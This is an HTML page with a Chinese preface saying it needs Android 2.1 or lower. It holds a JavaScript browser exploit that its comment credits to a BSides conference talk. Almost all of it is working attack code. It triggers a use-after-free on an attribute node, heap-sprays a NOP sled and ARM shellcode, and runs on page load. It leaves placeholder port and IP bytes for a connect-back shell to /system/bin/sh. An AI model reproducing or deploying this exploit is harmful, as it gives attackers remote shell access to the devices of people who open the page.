这是样本网页代码，需要安卓2.1以下版本（包含2.1）
<html>
<!--
This is the exploit used in my Austin bsides presentation that returns a shell. The slides are at http://www.slideshare.net/mjza/bsides
email: mkeith AT exploitscience.org
-->
<head>
<script language="JavaScript">
function heap()
{
var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
var scode = unescape("\u0060\u0060");
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u1001\ue28f\uff11\ue12f\u2002\u2101\u2206\u020f\u3719\udf00\u1c06\ua10a\u2210\u3702\udf00\u273f\u1a49\u1c30\udf00\u2101\u1c30\udf00\u2102\u1c30\udf00\ua005\u1a92\ub405\u4669\u270b\udf00\u46c0");
shell += unescape("\u0002\uae08"); //port
shell += unescape("\uxxxx\uxxxx"); //ip
shell += unescape("\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u0000");
//shell += unescape("\u622f\u6e69\u732f\u0068");
shell += unescape("\u2000\u2000"); //string terminate
do
{
scode += scode;
scode2 += scode2;
} while (scode.length<=0x1000);
scode2 += shell
target = new Array();
for(i = 0; i < 300; i++){
if (i<130){ target[i] = scode;}
if (i>130){ target[i] = scode2;}
document.write(target[i]);
document.write("<br />");
if (i>250){
// alert("freeze");
nodes[0].textContent}
}
}, 0);
}
</script>
</head>
<body onload=heap()>
<p id=target></p>
</body>
</html>
